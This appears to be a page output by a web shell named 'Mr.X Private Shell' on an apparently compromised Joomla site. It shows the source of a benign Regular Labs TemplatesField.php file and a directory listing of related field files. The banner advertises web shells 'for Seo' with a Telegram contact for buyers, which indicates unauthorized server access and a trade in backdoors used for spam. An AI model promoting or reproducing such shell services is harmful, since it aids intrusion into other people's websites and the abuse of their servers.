__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php /** * @package Regular Labs Library * @version 23.12.10783 * * @author Peter van Westen <[email protected]> * @link https://regularlabs.com * @copyright Copyright © 2023 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Library\Form\Field; defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper as JHtml; use Joomla\CMS\Language\Text as JText; use RegularLabs\Library\DB as RL_DB; use RegularLabs\Library\Form\FormField as RL_FormField; class TemplatesField extends RL_FormField { public bool $collapse_children = true; public bool $is_select_list = true; public bool $use_ajax = true; public bool $use_tree_select = true; public function getNamesByIds(array $values, array $attributes): array { if (empty($values)) { return []; } $query = $this->db->getQuery(true) ->select('e.name, e.element as template') ->from('#__extensions as e') ->where('e.enabled=1') ->where($this->db->quoteName('e.type') . '=' . $this->db->quote('template')) ->where(RL_DB::is('e.name', $values)) ->order('e.name'); $this->db->setQuery($query); $templates = $this->db->loadObjectList(); $query = $this->db->getQuery(true) ->select('s.title, e.name as template_name, s.template') ->from('#__template_styles as s') ->join('LEFT', '#__extensions as e on e.element = s.template') ->where(RL_DB::is('s.client_id', 0)) ->where(RL_DB::is('e.enabled', 1)) ->where(RL_DB::is('e.type', 'template')) ->where(RL_DB::in('CONCAT(e.name, "--", s.id)', $values)) ->order('s.template') ->order('s.title'); $this->db->setQuery($query); $styles = $this->db->loadObjectList(); $lang = $this->app->getLanguage(); $names = []; foreach ($templates as $template) { $lang->load('tpl_' . $template->template . '.sys', JPATH_SITE) || $lang->load('tpl_' . $template->template . '.sys', JPATH_SITE . '/templates/' . $template->template); $names[] = JText::_($template->name); } foreach ($styles as $style) { $lang->load('tpl_' . $style->template . '.sys', JPATH_SITE) || $lang->load('tpl_' . $style->template . '.sys', JPATH_SITE . '/templates/' . $style->template); $names[] = '[' . JText::_($style->template_name) . '] ' . JText::_($style->title); } return $names; } protected function getOptions() { $options = []; $templates = $this->getTemplates(); foreach ($templates as $styles) { $level = 0; foreach ($styles as $style) { $style->level = $level; $options[] = $style; if (count($styles) <= 2) { break; } $level = 1; } } return $options; } protected function getTemplates() { $query = $this->db->getQuery(true) ->select('s.id, s.title, e.name as name, s.template') ->from('#__template_styles as s') ->where('s.client_id = 0') ->join('LEFT', '#__extensions as e on e.element=s.template') ->where('e.enabled=1') ->where($this->db->quoteName('e.type') . '=' . $this->db->quote('template')) ->order('s.template') ->order('s.title'); $this->db->setQuery($query); $styles = $this->db->loadObjectList(); if (empty($styles)) { return []; } $lang = $this->app->getLanguage(); $groups = []; foreach ($styles as $style) { $template = $style->template; $lang->load('tpl_' . $template . '.sys', JPATH_SITE) || $lang->load('tpl_' . $template . '.sys', JPATH_SITE . '/templates/' . $template); $name = JText::_($style->name); if ( ! isset($groups[$template])) { $groups[$template] = []; $groups[$template][] = JHtml::_('select.option', $template, $name); } $groups[$template][] = JHtml::_('select.option', $template . '--' . $style->id, $style->title); } return $groups; } }
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| AccessLevelsField.php | File | 1.4 KB | 0664 |
|
| AgentsField.php | File | 3.55 KB | 0664 |
|
| AjaxField.php | File | 2.87 KB | 0664 |
|
| BlockField.php | File | 1.9 KB | 0664 |
|
| CheckboxesField.php | File | 5.08 KB | 0664 |
|
| ComponentsField.php | File | 5.46 KB | 0664 |
|
| ContentArticlesField.php | File | 2.73 KB | 0664 |
|
| ContentCategoriesField.php | File | 2.13 KB | 0664 |
|
| CustomOptionsField.php | File | 1.39 KB | 0664 |
|
| DependencyField.php | File | 799 B | 0664 |
|
| DependencyFieldHelper.php | File | 1.22 KB | 0664 |
|
| DownloadKeyField.php | File | 1.11 KB | 0664 |
|
| FieldField.php | File | 2.61 KB | 0664 |
|
| GeoField.php | File | 94.25 KB | 0664 |
|
| GeoInformationField.php | File | 1.66 KB | 0664 |
|
| HeaderField.php | File | 4.41 KB | 0664 |
|
| HeaderLibraryField.php | File | 1.74 KB | 0664 |
|
| IconToggleField.php | File | 1.2 KB | 0664 |
|
| IconsField.php | File | 5.89 KB | 0664 |
|
| ImageField.php | File | 1.32 KB | 0664 |
|
| IsInstalledField.php | File | 999 B | 0664 |
|
| JCompatibilityField.php | File | 1.33 KB | 0664 |
|
| LanguagesField.php | File | 1.77 KB | 0664 |
|
| LicenseField.php | File | 842 B | 0664 |
|
| LoadLanguageField.php | File | 1.06 KB | 0664 |
|
| LoadMediaField.php | File | 1.03 KB | 0664 |
|
| MenuItemsField.php | File | 3.86 KB | 0664 |
|
| MiniColorField.php | File | 1.74 KB | 0664 |
|
| NoteField.php | File | 1.6 KB | 0664 |
|
| OnlyProField.php | File | 2.34 KB | 0664 |
|
| RangeField.php | File | 1.66 KB | 0664 |
|
| ShowOnField.php | File | 1.5 KB | 0664 |
|
| SimpleCategoryField.php | File | 2.78 KB | 0664 |
|
| SubformField.php | File | 3.84 KB | 0664 |
|
| TagsField.php | File | 1.73 KB | 0664 |
|
| TemplatesField.php | File | 4.5 KB | 0664 |
|
| TextAreaField.php | File | 1.18 KB | 0664 |
|
| UserGroupsField.php | File | 1.65 KB | 0664 |
|
| UsersField.php | File | 3.03 KB | 0664 |
|
| VersionField.php | File | 1.72 KB | 0664 |
|